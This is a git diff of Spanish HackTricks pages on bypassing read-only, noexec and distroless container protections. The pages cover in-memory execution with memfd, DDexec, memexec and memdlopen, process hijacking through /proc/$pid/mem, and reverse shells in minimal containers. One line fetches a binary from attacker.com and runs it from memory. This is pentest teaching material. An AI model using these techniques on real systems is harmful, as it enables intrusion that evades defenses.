mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 01:17:36 +00:00
Translated ['linux-hardening/bypass-bash-restrictions/bypass-fs-protecti
This commit is contained in:
parent
50ff5bd11c
commit
612794ae2c
22 changed files with 2130 additions and 2811 deletions
|
@ -1,27 +1,29 @@
|
|||
# Bypass de protecciones del sistema de archivos: solo lectura / sin ejecución / Distroless
|
||||
# Evasión de protecciones FS: sistema de archivos de solo lectura / no ejecución / Distroless
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Videos
|
||||
|
||||
En los siguientes videos puedes encontrar las técnicas mencionadas en esta página explicadas con más detalle:
|
||||
En los siguientes videos puedes encontrar las técnicas mencionadas en esta página explicadas más a fondo:
|
||||
|
||||
* [**DEF CON 31 - Explorando la manipulación de memoria de Linux para sigilo y evasión**](https://www.youtube.com/watch?v=poHirez8jk4)
|
||||
* [**Intrusiones sigilosas con DDexec-ng y dlopen() en memoria - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU)
|
||||
* [**DEF CON 31 - Explorando la manipulación de memoria en Linux para sigilo y evasión**](https://www.youtube.com/watch?v=poHirez8jk4)
|
||||
* [**Intrusiones sigilosas con DDexec-ng & dlopen() en memoria - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM_gjjiARaU)
|
||||
|
||||
## Escenario de solo lectura / sin ejecución
|
||||
## Escenario de solo lectura / no ejecución
|
||||
|
||||
Cada vez es más común encontrar máquinas Linux montadas con **protección de sistema de archivos de solo lectura (ro)**, especialmente en contenedores. Esto se debe a que ejecutar un contenedor con sistema de archivos de solo lectura es tan fácil como establecer **`readOnlyRootFilesystem: true`** en el `securitycontext`:
|
||||
Es cada vez más común encontrar máquinas linux montadas con protección de sistema de archivos de **solo lectura (ro)**, especialmente en contenedores. Esto se debe a que ejecutar un contenedor con sistema de archivos ro es tan fácil como configurar **`readOnlyRootFilesystem: true`** en el `securitycontext`:
|
||||
|
||||
<pre class="language-yaml"><code class="lang-yaml">apiVersion: v1
|
||||
kind: Pod
|
||||
|
@ -36,39 +38,39 @@ securityContext:
|
|||
</strong> command: ["sh", "-c", "while true; do sleep 1000; done"]
|
||||
</code></pre>
|
||||
|
||||
Sin embargo, incluso si el sistema de archivos está montado como solo lectura, **`/dev/shm`** seguirá siendo escribible, por lo que es falso que no podamos escribir nada en el disco. Sin embargo, esta carpeta estará **montada con protección sin ejecución**, por lo que si descargas un binario aquí, **no podrás ejecutarlo**.
|
||||
Sin embargo, incluso si el sistema de archivos está montado como ro, **`/dev/shm`** seguirá siendo escribible, por lo que es falso que no podamos escribir nada en el disco. Sin embargo, esta carpeta estará **montada con protección de no ejecución**, por lo que si descargas un binario aquí **no podrás ejecutarlo**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Desde la perspectiva de un equipo de red, esto **complica la descarga y ejecución** de binarios que no están en el sistema (como puertas traseras o enumeradores como `kubectl`).
|
||||
Desde la perspectiva de un equipo rojo, esto hace que sea **complicado descargar y ejecutar** binarios que no están ya en el sistema (como puertas traseras o enumeradores como `kubectl`).
|
||||
{% endhint %}
|
||||
|
||||
## Bypass más fácil: Scripts
|
||||
## Evasión más fácil: Scripts
|
||||
|
||||
Ten en cuenta que mencioné binarios, puedes **ejecutar cualquier script** siempre que el intérprete esté dentro de la máquina, como un **script de shell** si está presente `sh` o un **script de Python** si está instalado `python`.
|
||||
Nota que mencioné binarios, puedes **ejecutar cualquier script** siempre que el intérprete esté dentro de la máquina, como un **script de shell** si `sh` está presente o un **script de python** si `python` está instalado.
|
||||
|
||||
Sin embargo, esto no es suficiente para ejecutar tu puerta trasera binaria u otras herramientas binarias que puedas necesitar ejecutar.
|
||||
|
||||
## Bypasses de memoria
|
||||
## Evasiones de memoria
|
||||
|
||||
Si quieres ejecutar un binario pero el sistema de archivos no lo permite, la mejor manera de hacerlo es **ejecutándolo desde la memoria**, ya que las **protecciones no se aplican allí**.
|
||||
|
||||
### Bypass de FD + exec syscall
|
||||
### Evasión con FD + syscall exec
|
||||
|
||||
Si tienes motores de script potentes dentro de la máquina, como **Python**, **Perl** o **Ruby**, puedes descargar el binario para ejecutarlo desde la memoria, almacenarlo en un descriptor de archivo de memoria (`create_memfd` syscall), que no estará protegido por esas protecciones, y luego llamar a una **syscall `exec`** indicando el **fd como el archivo a ejecutar**.
|
||||
Si tienes motores de script potentes dentro de la máquina, como **Python**, **Perl** o **Ruby**, podrías descargar el binario a ejecutar desde la memoria, almacenarlo en un descriptor de archivo de memoria (`create_memfd` syscall), que no va a estar protegido por esas protecciones y luego llamar a un **syscall `exec`** indicando el **fd como el archivo a ejecutar**.
|
||||
|
||||
Para esto, puedes usar fácilmente el proyecto [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Puedes pasarle un binario y generará un script en el lenguaje indicado con el **binario comprimido y codificado en base64** con las instrucciones para **decodificar y descomprimirlo** en un **fd** creado llamando a la syscall `create_memfd` y una llamada a la syscall **exec** para ejecutarlo.
|
||||
Para esto puedes usar fácilmente el proyecto [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Puedes pasarle un binario y generará un script en el lenguaje indicado con el **binario comprimido y codificado en b64** con las instrucciones para **decodificarlo y descomprimirlo** en un **fd** creado llamando al syscall `create_memfd` y una llamada al syscall **exec** para ejecutarlo.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Esto no funciona en otros lenguajes de script como PHP o Node porque no tienen una forma **predeterminada de llamar syscalls en bruto** desde un script, por lo que no es posible llamar a `create_memfd` para crear el **fd de memoria** para almacenar el binario.
|
||||
Esto no funciona en otros lenguajes de scripting como PHP o Node porque no tienen ninguna manera **predeterminada de llamar a syscalls crudos** desde un script, por lo que no es posible llamar a `create_memfd` para crear el **fd de memoria** para almacenar el binario.
|
||||
|
||||
Además, crear un **fd regular** con un archivo en `/dev/shm` no funcionará, ya que no se te permitirá ejecutarlo debido a la protección **sin ejecución** que se aplicará.
|
||||
Además, crear un **fd regular** con un archivo en `/dev/shm` no funcionará, ya que no se te permitirá ejecutarlo debido a que se aplicará la protección de **no ejecución**.
|
||||
{% endhint %}
|
||||
|
||||
### DDexec / EverythingExec
|
||||
|
||||
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) es una técnica que te permite **modificar la memoria de tu propio proceso** sobrescribiendo su **`/proc/self/mem`**.
|
||||
|
||||
Por lo tanto, **controlando el código ensamblador** que se está ejecutando en el proceso, puedes escribir un **shellcode** y "mutar" el proceso para **ejecutar cualquier código arbitrario**.
|
||||
Por lo tanto, **controlando el código ensamblador** que está siendo ejecutado por el proceso, puedes escribir un **shellcode** y "mutar" el proceso para **ejecutar cualquier código arbitrario**.
|
||||
|
||||
{% hint style="success" %}
|
||||
**DDexec / EverythingExec** te permitirá cargar y **ejecutar** tu propio **shellcode** o **cualquier binario** desde la **memoria**.
|
||||
|
@ -77,7 +79,7 @@ Por lo tanto, **controlando el código ensamblador** que se está ejecutando en
|
|||
# Basic example
|
||||
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar
|
||||
```
|
||||
Para obtener más información sobre esta técnica, consulta el Github o:
|
||||
Para obtener más información sobre esta técnica, consulta Github o:
|
||||
|
||||
{% content-ref url="ddexec.md" %}
|
||||
[ddexec.md](ddexec.md)
|
||||
|
@ -85,52 +87,54 @@ Para obtener más información sobre esta técnica, consulta el Github o:
|
|||
|
||||
### MemExec
|
||||
|
||||
[**Memexec**](https://github.com/arget13/memexec) es el siguiente paso natural de DDexec. Es un **demonio de shellcode DDexec**, por lo que cada vez que desees **ejecutar un binario diferente**, no necesitas volver a lanzar DDexec, simplemente puedes ejecutar el shellcode de memexec a través de la técnica DDexec y luego **comunicarte con este demonio para pasar nuevos binarios para cargar y ejecutar**.
|
||||
[**Memexec**](https://github.com/arget13/memexec) es el siguiente paso natural de DDexec. Es un **shellcode de DDexec demonizado**, así que cada vez que quieras **ejecutar un binario diferente** no necesitas relanzar DDexec, puedes simplemente ejecutar el shellcode de memexec a través de la técnica DDexec y luego **comunicarte con este demonio para pasar nuevos binarios para cargar y ejecutar**.
|
||||
|
||||
Puedes encontrar un ejemplo de cómo usar **memexec para ejecutar binarios desde un shell inverso de PHP** en [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php).
|
||||
Puedes encontrar un ejemplo de cómo usar **memexec para ejecutar binarios desde un reverse shell de PHP** en [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php).
|
||||
|
||||
### Memdlopen
|
||||
|
||||
Con un propósito similar a DDexec, la técnica de [**memdlopen**](https://github.com/arget13/memdlopen) permite una **forma más fácil de cargar binarios** en memoria para luego ejecutarlos. Incluso podría permitir cargar binarios con dependencias.
|
||||
Con un propósito similar al de DDexec, la técnica [**memdlopen**](https://github.com/arget13/memdlopen) permite una **forma más fácil de cargar binarios** en memoria para luego ejecutarlos. Incluso podría permitir cargar binarios con dependencias.
|
||||
|
||||
## Bypass de Distroless
|
||||
|
||||
### ¿Qué es distroless?
|
||||
### Qué es distroless
|
||||
|
||||
Los contenedores distroless contienen solo los **componentes mínimos necesarios para ejecutar una aplicación o servicio específico**, como bibliotecas y dependencias de tiempo de ejecución, pero excluyen componentes más grandes como un gestor de paquetes, shell o utilidades del sistema.
|
||||
|
||||
El objetivo de los contenedores distroless es **reducir la superficie de ataque de los contenedores eliminando componentes innecesarios** y minimizando la cantidad de vulnerabilidades que se pueden explotar.
|
||||
El objetivo de los contenedores distroless es **reducir la superficie de ataque de los contenedores eliminando componentes innecesarios** y minimizando el número de vulnerabilidades que pueden ser explotadas.
|
||||
|
||||
### Shell inverso
|
||||
### Reverse Shell
|
||||
|
||||
En un contenedor distroless, es posible que **ni siquiera encuentres `sh` o `bash`** para obtener una shell regular. Tampoco encontrarás binarios como `ls`, `whoami`, `id`... todo lo que normalmente ejecutas en un sistema.
|
||||
En un contenedor distroless podrías **ni siquiera encontrar `sh` o `bash`** para obtener una shell regular. Tampoco encontrarás binarios como `ls`, `whoami`, `id`... todo lo que normalmente ejecutas en un sistema.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Por lo tanto, **no podrás obtener una shell inversa** o **enumerar** el sistema como lo haces habitualmente.
|
||||
Por lo tanto, **no** podrás obtener un **reverse shell** o **enumerar** el sistema como lo haces normalmente.
|
||||
{% endhint %}
|
||||
|
||||
Sin embargo, si el contenedor comprometido está ejecutando, por ejemplo, una aplicación web Flask, entonces Python está instalado y, por lo tanto, puedes obtener una **shell inversa de Python**. Si está ejecutando Node, puedes obtener una shell inversa de Node, y lo mismo con casi cualquier **lenguaje de script**.
|
||||
Sin embargo, si el contenedor comprometido está ejecutando, por ejemplo, una web flask, entonces python está instalado, y por lo tanto puedes obtener un **reverse shell de Python**. Si está ejecutando node, puedes obtener un rev shell de Node, y lo mismo con casi cualquier **lenguaje de scripting**.
|
||||
|
||||
{% hint style="success" %}
|
||||
Usando el lenguaje de script, podrías **enumerar el sistema** utilizando las capacidades del lenguaje.
|
||||
Usando el lenguaje de scripting podrías **enumerar el sistema** utilizando las capacidades del lenguaje.
|
||||
{% endhint %}
|
||||
|
||||
Si no hay protecciones de **solo lectura/sin ejecución**, podrías abusar de tu shell inversa para **escribir en el sistema de archivos tus binarios** y **ejecutarlos**.
|
||||
Si no hay protecciones de **solo lectura/sin ejecución**, podrías abusar de tu reverse shell para **escribir en el sistema de archivos tus binarios** y **ejecutarlos**.
|
||||
|
||||
{% hint style="success" %}
|
||||
Sin embargo, en este tipo de contenedores, estas protecciones generalmente existirán, pero podrías usar las **técnicas de ejecución en memoria anteriores para evadirlas**.
|
||||
Sin embargo, en este tipo de contenedores estas protecciones normalmente existirán, pero podrías usar las **técnicas de ejecución en memoria anteriores para eludirlas**.
|
||||
{% endhint %}
|
||||
|
||||
Puedes encontrar **ejemplos** de cómo **explotar algunas vulnerabilidades de RCE** para obtener **shells inversas de lenguajes de script** y ejecutar binarios desde la memoria en [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
|
||||
Puedes encontrar **ejemplos** de cómo **explotar algunas vulnerabilidades de RCE** para obtener **reverse shells** de lenguajes de scripting y ejecutar binarios desde la memoria en [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de Github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,27 +2,29 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Contexto
|
||||
|
||||
En Linux, para ejecutar un programa, este debe existir como un archivo y debe ser accesible de alguna manera a través de la jerarquía del sistema de archivos (así es como funciona `execve()`). Este archivo puede residir en el disco o en la memoria RAM (tmpfs, memfd), pero necesitas una ruta de archivo. Esto ha facilitado mucho el control de lo que se ejecuta en un sistema Linux, lo que facilita la detección de amenazas y herramientas de atacantes, o evitar que intenten ejecutar cualquier cosa propia (_por ejemplo_, no permitir que los usuarios sin privilegios coloquen archivos ejecutables en cualquier lugar).
|
||||
En Linux, para ejecutar un programa, debe existir como archivo y debe ser accesible de alguna manera a través de la jerarquía del sistema de archivos (esto es simplemente cómo funciona `execve()`). Este archivo puede residir en disco o en ram (tmpfs, memfd), pero necesitas una ruta de archivo. Esto ha facilitado mucho el control de lo que se ejecuta en un sistema Linux, facilita la detección de amenazas y herramientas de atacantes o prevenir que intenten ejecutar algo propio en absoluto (_por ejemplo_, no permitir a usuarios sin privilegios colocar archivos ejecutables en cualquier lugar).
|
||||
|
||||
Pero esta técnica está aquí para cambiar todo esto. Si no puedes iniciar el proceso que deseas... **entonces secuestras uno que ya existe**.
|
||||
Pero esta técnica está aquí para cambiar todo eso. Si no puedes iniciar el proceso que deseas... **entonces secuestra uno ya existente**.
|
||||
|
||||
Esta técnica te permite **burlar técnicas de protección comunes como solo lectura, noexec, lista blanca de nombres de archivo, lista blanca de hash...**
|
||||
Esta técnica te permite **burlar técnicas de protección comunes como solo lectura, noexec, listas blancas de nombres de archivos, listas blancas de hashes...**
|
||||
|
||||
## Dependencias
|
||||
|
||||
El script final depende de las siguientes herramientas para funcionar, deben ser accesibles en el sistema que estás atacando (por defecto las encontrarás en todas partes):
|
||||
El script final depende de las siguientes herramientas para funcionar, necesitan ser accesibles en el sistema que estás atacando (por defecto las encontrarás en todas partes):
|
||||
```
|
||||
dd
|
||||
bash | zsh | ash (busybox)
|
||||
|
@ -38,53 +40,53 @@ base64
|
|||
```
|
||||
## La técnica
|
||||
|
||||
Si puedes modificar arbitrariamente la memoria de un proceso, puedes tomar el control de él. Esto se puede utilizar para secuestrar un proceso existente y reemplazarlo por otro programa. Podemos lograr esto utilizando la llamada al sistema `ptrace()` (que requiere tener la capacidad de ejecutar llamadas al sistema o tener gdb disponible en el sistema) o, de manera más interesante, escribiendo en `/proc/$pid/mem`.
|
||||
Si puedes modificar arbitrariamente la memoria de un proceso, entonces puedes tomar el control de él. Esto se puede utilizar para secuestrar un proceso ya existente y reemplazarlo con otro programa. Podemos lograr esto ya sea utilizando la llamada al sistema `ptrace()` (que requiere que tengas la capacidad de ejecutar llamadas al sistema o que tengas gdb disponible en el sistema) o, más interesantemente, escribiendo en `/proc/$pid/mem`.
|
||||
|
||||
El archivo `/proc/$pid/mem` es un mapeo uno a uno de todo el espacio de direcciones de un proceso (por ejemplo, desde `0x0000000000000000` hasta `0x7ffffffffffff000` en x86-64). Esto significa que leer o escribir en este archivo en un desplazamiento `x` es lo mismo que leer o modificar el contenido en la dirección virtual `x`.
|
||||
El archivo `/proc/$pid/mem` es un mapeo uno a uno de todo el espacio de direcciones de un proceso (_por ejemplo_, de `0x0000000000000000` a `0x7ffffffffffff000` en x86-64). Esto significa que leer o escribir en este archivo en un desplazamiento `x` es lo mismo que leer o modificar el contenido en la dirección virtual `x`.
|
||||
|
||||
Ahora, tenemos cuatro problemas básicos que enfrentar:
|
||||
|
||||
* En general, solo el usuario root y el propietario del programa pueden modificarlo.
|
||||
* En general, solo root y el propietario del programa del archivo pueden modificarlo.
|
||||
* ASLR.
|
||||
* Si intentamos leer o escribir en una dirección que no está mapeada en el espacio de direcciones del programa, obtendremos un error de E/S.
|
||||
* Si intentamos leer o escribir en una dirección no mapeada en el espacio de direcciones del programa, obtendremos un error de E/S.
|
||||
|
||||
Estos problemas tienen soluciones que, aunque no son perfectas, son buenas:
|
||||
|
||||
* La mayoría de los intérpretes de shell permiten la creación de descriptores de archivos que luego serán heredados por los procesos secundarios. Podemos crear un descriptor de archivo que apunte al archivo `mem` de la shell con permisos de escritura... de esta manera, los procesos secundarios que utilicen ese descriptor de archivo podrán modificar la memoria de la shell.
|
||||
* La mayoría de los intérpretes de comandos permiten la creación de descriptores de archivos que luego serán heredados por procesos hijos. Podemos crear un fd apuntando al archivo `mem` de la shell con permisos de escritura... así los procesos hijos que usen ese fd podrán modificar la memoria de la shell.
|
||||
* ASLR ni siquiera es un problema, podemos verificar el archivo `maps` de la shell o cualquier otro del procfs para obtener información sobre el espacio de direcciones del proceso.
|
||||
* Entonces necesitamos hacer `lseek()` en el archivo. Desde la shell esto no se puede hacer a menos que usemos el infame `dd`.
|
||||
* Así que necesitamos hacer `lseek()` sobre el archivo. Desde la shell esto no se puede hacer a menos que se use el infame `dd`.
|
||||
|
||||
### Con más detalle
|
||||
### Más en detalle
|
||||
|
||||
Los pasos son relativamente fáciles y no requieren ningún tipo de experiencia para entenderlos:
|
||||
|
||||
* Analiza el binario que queremos ejecutar y el cargador para averiguar qué mapeos necesitan. Luego crea un "código de shell" que realizará, en términos generales, los mismos pasos que el kernel hace en cada llamada a `execve()`:
|
||||
* Crea los mapeos mencionados.
|
||||
* Lee los binarios en ellos.
|
||||
* Configura los permisos.
|
||||
* Finalmente, inicializa la pila con los argumentos del programa y coloca el vector auxiliar (necesario para el cargador).
|
||||
* Salta al cargador y deja que haga el resto (cargar las bibliotecas necesarias para el programa).
|
||||
* Obtén del archivo `syscall` la dirección a la que el proceso volverá después de la llamada al sistema que está ejecutando.
|
||||
* Sobrescribe ese lugar, que será ejecutable, con nuestro código de shell (a través de `mem` podemos modificar páginas no escribibles).
|
||||
* Pasa el programa que queremos ejecutar a la entrada estándar del proceso (será `leído()` por dicho código de "shell").
|
||||
* En este punto, depende del cargador cargar las bibliotecas necesarias para nuestro programa y saltar a él.
|
||||
* Analizar el binario que queremos ejecutar y el cargador para averiguar qué mapeos necesitan. Luego, elaborar un "shell"code que realizará, en términos generales, los mismos pasos que el kernel hace en cada llamada a `execve()`:
|
||||
* Crear dichos mapeos.
|
||||
* Leer los binarios en ellos.
|
||||
* Establecer permisos.
|
||||
* Finalmente, inicializar la pila con los argumentos para el programa y colocar el vector auxiliar (necesario por el cargador).
|
||||
* Saltar al cargador y dejar que haga el resto (cargar las bibliotecas necesarias para el programa).
|
||||
* Obtener del archivo `syscall` la dirección a la que el proceso regresará después de la llamada al sistema que está ejecutando.
|
||||
* Sobrescribir ese lugar, que será ejecutable, con nuestro shellcode (a través de `mem` podemos modificar páginas no escribibles).
|
||||
* Pasar el programa que queremos ejecutar al stdin del proceso (será `read()` por dicho "shell"code).
|
||||
* En este punto depende del cargador cargar las bibliotecas necesarias para nuestro programa y saltar a él.
|
||||
|
||||
**Echa un vistazo a la herramienta en** [**https://github.com/arget13/DDexec**](https://github.com/arget13/DDexec)
|
||||
**Consulta la herramienta en** [**https://github.com/arget13/DDexec**](https://github.com/arget13/DDexec)
|
||||
|
||||
## EverythingExec
|
||||
|
||||
A partir del 12/12/2022, he encontrado varias alternativas a `dd`, una de las cuales, `tail`, es actualmente el programa predeterminado utilizado para hacer `lseek()` a través del archivo `mem` (que era el único propósito de usar `dd`). Dichas alternativas son:
|
||||
A partir del 12/12/2022 he encontrado una serie de alternativas a `dd`, una de las cuales, `tail`, es actualmente el programa predeterminado utilizado para hacer `lseek()` a través del archivo `mem` (que era el único propósito de usar `dd`). Las alternativas mencionadas son:
|
||||
```bash
|
||||
tail
|
||||
hexdump
|
||||
cmp
|
||||
xxd
|
||||
```
|
||||
Al establecer la variable `SEEKER`, puedes cambiar el buscador utilizado, por ejemplo:
|
||||
Estableciendo la variable `SEEKER` puedes cambiar el buscador utilizado, _p. ej._:
|
||||
```bash
|
||||
SEEKER=cmp bash ddexec.sh ls -l <<< $(base64 -w0 /bin/ls)
|
||||
```
|
||||
Si encuentras otro buscador válido que no esté implementado en el script, aún puedes usarlo configurando la variable `SEEKER_ARGS`:
|
||||
Si encuentra otro seeker válido que no esté implementado en el script, aún puede usarlo configurando la variable `SEEKER_ARGS`:
|
||||
```bash
|
||||
SEEKER=xxd SEEKER_ARGS='-s $offset' zsh ddexec.sh ls -l <<< $(base64 -w0 /bin/ls)
|
||||
```
|
||||
|
@ -92,12 +94,14 @@ Bloquea esto, EDRs.
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
